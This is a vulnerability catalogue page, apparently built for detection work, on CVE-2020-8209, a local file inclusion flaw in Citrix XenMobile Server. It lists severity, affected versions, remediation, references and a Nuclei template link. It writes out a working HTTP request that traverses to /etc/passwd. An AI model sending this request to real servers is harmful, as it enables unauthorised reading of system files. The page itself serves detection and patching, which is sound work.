🔙 목록으로 돌아가기

CVE-2020-8209: Citrix XenMobile Server - Local File Inclusion

TitleCitrix XenMobile Server - Local File Inclusion
Authordwisiswant0
SeverityHigh
ImpactAn attacker can access sensitive information stored on the server, potentially leading to further compromise or unauthorized access.
RemediationApply the latest security patches or updates provided by Citrix to fix the vulnerability.
CVSS Score7.5
EPSS Score0.93007
CVE IDCVE-2020-8209
CWE IDCWE-22
Tags cve2020 cve citrix lfi xenmobile vkev vuln

🔍 Vulnerability Description

Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities. reference:

  • https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
  • https://support.citrix.com/article/CTX277457
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8209

🌐 HTTP Request

GET /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8209.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8209.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A